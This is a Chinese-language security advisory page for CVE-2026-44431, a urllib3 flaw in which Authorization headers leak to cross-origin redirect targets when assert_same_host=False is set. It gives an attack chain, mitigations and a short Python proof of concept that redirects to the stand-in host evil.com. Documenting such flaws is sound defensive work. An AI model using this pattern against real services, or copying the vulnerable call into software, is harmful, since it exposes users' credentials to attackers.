IPBUF安全漏洞报告
English
CVE-2026-44431 CVSS 5.3 中危

CVE-2026-44431 urllib3跨源重定向敏感信息泄露

披露日期: 2026-05-13

漏洞信息

漏洞编号
CVE-2026-44431
漏洞类型
信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
urllib3

相关标签

信息泄露urllib3Python跨源重定向CVE-2026-44431

漏洞概述

urllib3是Python广泛使用的HTTP客户端库。在其1.23版本至2.7.0之前的版本中存在一处安全漏洞。该漏洞发生在使用低级API时,具体是通过ProxyManager.connection_from_url()方法并设置assert_same_host=False参数。在此配置下,如果发生跨源重定向,应用程序原本用于受信任主机的敏感HTTP请求头(如Authorization头)会被错误地转发到不受信任的重定向目标主机。这种行为可能导致用户的认证凭证或其他敏感信息泄露给恶意第三方。官方已在2.7.0版本中修复了此问题。

技术细节

该漏洞的根本原因在于urllib3在处理重定向时的头部清理逻辑存在缺陷。通常情况下,为了防止敏感信息泄露,HTTP库在跟随跨源重定向时应当移除特定的敏感头部(如Authorization、Cookie等)。然而,在受影响版本中,当开发者使用ProxyManager的connection_from_url()方法,并显式设置assert_same_host=False以绕过主机检查时,urllib3未能正确清理这些头部。攻击者可以利用此漏洞诱导受害者向攻击者控制的服务器发起请求。由于受害者应用程序使用了易受攻击的urllib3版本和特定的API调用,当攻击者的服务器返回一个指向恶意域名(如attacker.com)的302重定向响应时,urllib3会自动跟随该重定向。此时,原本发送给受信任服务器的Authorization头部会被原样发送给attacker.com。攻击者捕获该头部后,即可获取受害者的访问令牌或凭证,进而接管账户。

攻击链分析

STEP 1
步骤1
攻击者设置一个恶意服务器,该服务器配置为对特定请求返回指向攻击者控制域名的302重定向响应。
STEP 2
步骤2
受害者应用程序(使用存在漏洞的urllib3版本)向攻击者控制的服务器发起请求,请求中包含敏感的HTTP头部(如Authorization)。
STEP 3
步骤3
受害者的urllib3库接收到重定向响应。由于使用了assert_same_host=False参数,它跟随重定向跳转到攻击者的域名。
STEP 4
步骤4
urllib3在向新的目标域名(攻击者服务器)发送请求时,未清理敏感头部,导致Authorization等凭证信息泄露给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import urllib3 # This PoC demonstrates the vulnerable configuration. # It requires a server that redirects to a different origin to observe the leak. # Create a ProxyManager instance pm = urllib3.ProxyManager('http://proxy:8080') # Target URL that will perform a cross-origin redirect (e.g., 302 to http://evil.com) target_url = 'http://trusted-site.com/redirect-endpoint' # Sensitive header that should not be leaked headers = {'Authorization': 'Bearer secret_token_123'} # Vulnerable call: using assert_same_host=False # In vulnerable versions (< 2.7.0), the Authorization header will be sent to the redirect target. try: resp = pm.connection_from_url(target_url).urlopen( 'GET', target_url, headers=headers, assert_same_host=False, redirect=True ) print(f"Status: {resp.status}") except Exception as e: print(f"Error: {e}")

影响范围

urllib3 >= 1.23, < 2.7.0

防御指南

临时缓解措施
如果不能立即升级,请检查所有使用urllib3低级API的代码,特别是涉及assert_same_host=False参数的调用。确保这些调用不会连接到不可信或可能进行跨源重定向的端点。可以考虑在网络层或应用层增加对重定向目标的白名单校验。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表